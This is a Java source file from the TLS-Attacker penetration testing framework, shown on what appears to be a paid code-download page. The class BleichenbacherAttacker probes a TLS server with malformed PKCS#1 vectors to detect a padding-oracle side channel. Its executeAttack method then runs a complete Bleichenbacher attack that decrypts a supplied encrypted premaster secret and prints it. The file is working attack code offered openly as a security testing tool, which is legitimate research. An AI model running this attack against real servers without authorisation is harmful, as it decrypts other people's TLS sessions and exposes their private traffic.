Many resources are needed to download a project. Please understand that we have to compensate our server costs. Thank you in advance. Project price only 1 $
You can buy this project and download/modify it how often you want.
/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2021 Ruhr University Bochum, Paderborn University, Hackmanit GmbH
*
* Licensed under Apache License, Version 2.0
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
package de.rub.nds.tlsattacker.attacks.impl;
import static de.rub.nds.tlsattacker.util.ConsoleLogger.CONSOLE;
import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
import de.rub.nds.tlsattacker.attacks.exception.OracleUnstableException;
import de.rub.nds.tlsattacker.attacks.padding.VectorResponse;
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherVulnerabilityMap;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowGenerator;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowType;
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1Vector;
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1VectorGenerator;
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
import de.rub.nds.tlsattacker.attacks.util.response.EqualityError;
import de.rub.nds.tlsattacker.attacks.util.response.EqualityErrorTranslator;
import de.rub.nds.tlsattacker.attacks.util.response.FingerPrintChecker;
import de.rub.nds.tlsattacker.attacks.util.response.ResponseExtractor;
import de.rub.nds.tlsattacker.attacks.util.response.ResponseFingerprint;
import de.rub.nds.tlsattacker.core.config.Config;
import de.rub.nds.tlsattacker.core.constants.Bits;
import de.rub.nds.tlsattacker.core.constants.ProtocolVersion;
import de.rub.nds.tlsattacker.core.exceptions.ConfigurationException;
import de.rub.nds.tlsattacker.core.state.State;
import de.rub.nds.tlsattacker.core.util.CertificateFetcher;
import de.rub.nds.tlsattacker.core.workflow.ParallelExecutor;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
import java.io.IOException;
import java.math.BigInteger;
import java.security.interfaces.RSAPublicKey;
import java.util.LinkedList;
import java.util.List;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Sends differently formatted PKCS#1 messages to the TLS server and observes the server responses. In case there are
* differences in the server responses, it is very likely that it is possible to execute Bleichenbacher attacks.
*/
public class BleichenbacherAttacker extends Attacker {
private static final Logger LOGGER = LogManager.getLogger();
private BleichenbacherWorkflowType vulnerableType;
private EqualityError errorType;
private boolean shakyScans = false;
private final ParallelExecutor executor;
private List fingerprintPairList;
private boolean selfShutdown = false;
/**
* @param bleichenbacherConfig
* @param baseConfig
*/
public BleichenbacherAttacker(BleichenbacherCommandConfig bleichenbacherConfig, Config baseConfig) {
super(bleichenbacherConfig, baseConfig);
executor = new ParallelExecutor(1, 3);
selfShutdown = true;
}
/**
* @param bleichenbacherConfig
* @param baseConfig
* @param executor
*/
public BleichenbacherAttacker(BleichenbacherCommandConfig bleichenbacherConfig, Config baseConfig,
ParallelExecutor executor) {
super(bleichenbacherConfig, baseConfig);
this.executor = executor;
selfShutdown = false;
}
/**
* @param type
* @param encryptedPMS
* @return
*/
public State executeTlsFlow(BleichenbacherWorkflowType type, byte[] encryptedPMS) {
Config tlsConfig = getTlsConfig();
WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(tlsConfig, type, encryptedPMS);
State state = new State(tlsConfig, trace);
tlsConfig.setWorkflowExecutorShouldClose(false);
WorkflowExecutor workflowExecutor =
WorkflowExecutorFactory.createWorkflowExecutor(tlsConfig.getWorkflowExecutorType(), state);
workflowExecutor.executeWorkflow();
return state;
}
/**
* @return
*/
@Override
public Boolean isVulnerable() {
errorType = getEqualityError();
if (errorType != null && errorType != EqualityError.NONE) {
vulnerableType = config.getWorkflowType();
return true;
}
return false;
}
public EqualityError isVulnerable(List pkcs1Vectors, RSAPublicKey publicKey) {
fingerprintPairList = getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
if (fingerprintPairList.isEmpty()) {
LOGGER.warn("Could not extract Fingerprints");
return null;
}
printBleichenbacherVectormap(fingerprintPairList);
EqualityError error = getEqualityError(fingerprintPairList);
if (error != EqualityError.NONE) {
CONSOLE.info("Found a side channel. Rescanning to confirm.");
// Socket Equality Errors can be caused by problems on on the
// network. In this case we do a rescan
// and check if we find the exact same answer behaviour (twice)
List secondBleichenbacherVectorMap =
getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
EqualityError error2 = getEqualityError(secondBleichenbacherVectorMap);
BleichenbacherVulnerabilityMap mapOne = new BleichenbacherVulnerabilityMap(fingerprintPairList, error);
BleichenbacherVulnerabilityMap mapTwo =
new BleichenbacherVulnerabilityMap(secondBleichenbacherVectorMap, error2);
if (mapOne.looksIdentical(mapTwo)) {
List thirdBleichenbacherVectorMap =
getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
EqualityError error3 = getEqualityError(secondBleichenbacherVectorMap);
BleichenbacherVulnerabilityMap mapThree =
new BleichenbacherVulnerabilityMap(thirdBleichenbacherVectorMap, error3);
if (!mapTwo.looksIdentical(mapThree)) {
LOGGER.debug("The third scan prove this vulnerability to be non existent");
shakyScans = true;
error = EqualityError.NONE;
}
} else {
LOGGER.debug("The second scan prove this vulnerability to be non existent");
shakyScans = true;
error = EqualityError.NONE;
}
}
if (error != EqualityError.NONE) {
CONSOLE.info("Found a vulnerability with " + config.getWorkflowType().getDescription());
}
if (selfShutdown && !config.isExecuteAttack()) {
executor.shutdown();
}
return error;
}
public EqualityError getEqualityError() {
Config tlsConfig = getTlsConfig();
RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
if (publicKey == null) {
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
return null;
}
LOGGER.info("Fetched the following server public key: " + publicKey);
List pkcs1Vectors = Pkcs1VectorGenerator.generatePkcs1Vectors(publicKey, config.getType(),
tlsConfig.getDefaultHighestClientProtocolVersion());
// we execute the attack with different protocol flows and
// return true as soon as we find the first inconsistency
CONSOLE
.info("A server is considered vulnerable to this attack if it responds differently to the test vectors.");
CONSOLE.info("A server is considered secure if it always responds the same way.");
LOGGER.debug("Testing: " + config.getWorkflowType());
errorType = isVulnerable(pkcs1Vectors, publicKey);
return errorType;
}
/**
* @param bleichenbacherVectorMap
* @return
*/
public EqualityError getEqualityError(List bleichenbacherVectorMap) {
ResponseFingerprint fingerprint = bleichenbacherVectorMap.get(0).getFingerprint();
for (VectorResponse pair : bleichenbacherVectorMap) {
EqualityError error = FingerPrintChecker.checkEquality(fingerprint, pair.getFingerprint());
if (error != EqualityError.NONE) {
CONSOLE.info("Found an EqualityError!");
CONSOLE.info(EqualityErrorTranslator.translation(error, fingerprint, pair.getFingerprint()));
return error;
}
}
return EqualityError.NONE;
}
private void printBleichenbacherVectormap(List bleichenbacherVectorMap) {
LOGGER.debug("Vectormap:");
LOGGER.debug("---------------");
for (VectorResponse pair : bleichenbacherVectorMap) {
LOGGER.debug(pair);
}
LOGGER.debug("---------------");
}
private List getBleichenbacherMap(BleichenbacherWorkflowType bbWorkflowType,
List pkcs1Vectors, RSAPublicKey publicKey) {
Config tlsConfig = getTlsConfig();
tlsConfig.setWorkflowExecutorShouldClose(false);
List bleichenbacherVectorMap = new LinkedList<>();
List stateList = new LinkedList<>();
List stateVectorPairList = new LinkedList<>();
for (Pkcs1Vector pkcs1Vector : pkcs1Vectors) {
WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(tlsConfig, bbWorkflowType,
pkcs1Vector.getEncryptedValue());
State state = new State(tlsConfig, trace);
stateList.add(state);
stateVectorPairList.add(new StateVectorPair(state, pkcs1Vector));
}
executor.bulkExecuteClientStateTasks(stateList);
for (StateVectorPair stateVectorPair : stateVectorPairList) {
processFinishedStateVectorPair(stateVectorPair, bleichenbacherVectorMap);
}
// Check that the public key send by the server is actually the public
// key used to generate
// the vectors. This is currently a limitation of our script as the
// attack vectors are
// generated statically and not dynamically. We will adjust this in
// future versions.
for (StateVectorPair pair : stateVectorPairList) {
if (pair.getState().getTlsContext().getServerRsaModulus() != null
&& !pair.getState().getTlsContext().getServerRsaModulus().equals(publicKey.getModulus())) {
throw new OracleUnstableException(
"Server sent us a different public key during the scan. Aborting test");
}
}
return bleichenbacherVectorMap;
}
private void processFinishedStateVectorPair(StateVectorPair stateVectorPair,
List bleichenbacherVectorMap) {
if (stateVectorPair.getState().getWorkflowTrace().executedAsPlanned()) {
ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(stateVectorPair.getState());
bleichenbacherVectorMap.add(new VectorResponse(stateVectorPair.getVector(), fingerprint));
} else {
LOGGER.warn(
"Could not execute Workflow. Something went wrong... Check the debug output for more information");
}
clearConnections(stateVectorPair.getState());
}
private ResponseFingerprint getFingerprint(BleichenbacherWorkflowType type, byte[] encryptedPMS) {
State state = executeTlsFlow(type, encryptedPMS);
if (state.getWorkflowTrace().allActionsExecuted()) {
ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(state);
clearConnections(state);
return fingerprint;
} else {
clearConnections(state);
LOGGER.warn(
"Could not execute Workflow. Something went wrong... Check the debug output for more information");
}
return null;
}
@Override
public void executeAttack() {
// needs to execute the isVulnerable method to configure the workflow
// type
boolean vulnerable = isVulnerable();
LOGGER.info("Using the following oracle type: {}", vulnerableType);
if (!vulnerable) {
LOGGER.warn("The server is not vulnerable to the Bleichenbacher attack");
return;
}
Config tlsConfig = getTlsConfig();
RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
if (publicKey == null) {
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
return;
}
if (config.getEncryptedPremasterSecret() == null) {
throw new ConfigurationException(
"You have to set the encrypted premaster secret you are " + "going to decrypt");
}
LOGGER.info("Fetched the following server public key: " + publicKey);
byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
if ((pms.length * Bits.IN_A_BYTE) != publicKey.getModulus().bitLength()) {
throw new ConfigurationException("The length of the encrypted premaster secret you have "
+ "is not equal to the server public key length. Have you selected the correct value?");
}
RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, getTlsConfig(),
extractValidFingerprint(publicKey, tlsConfig.getDefaultHighestClientProtocolVersion()), null,
vulnerableType);
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, config.isMsgPkcsConform());
attacker.attack();
BigInteger solution = attacker.getSolution();
CONSOLE.info(solution.toString(16));
if (selfShutdown) {
executor.shutdown();
}
}
private ResponseFingerprint extractValidFingerprint(RSAPublicKey publicKey, ProtocolVersion version) {
return getFingerprint(vulnerableType,
Pkcs1VectorGenerator.generateCorrectPkcs1Vector(publicKey, version).getEncryptedValue());
}
/**
* @return
*/
public BleichenbacherWorkflowType getVulnerableType() {
return vulnerableType;
}
private void clearConnections(State state) {
try {
state.getTlsContext().getTransportHandler().closeConnection();
} catch (IOException ex) {
LOGGER.debug(ex);
}
}
/**
* @return
*/
public EqualityError getErrorType() {
return errorType;
}
/**
* @return
*/
public boolean isShakyScans() {
return shakyScans;
}
public List getFingerprintPairList() {
return fingerprintPairList;
}
}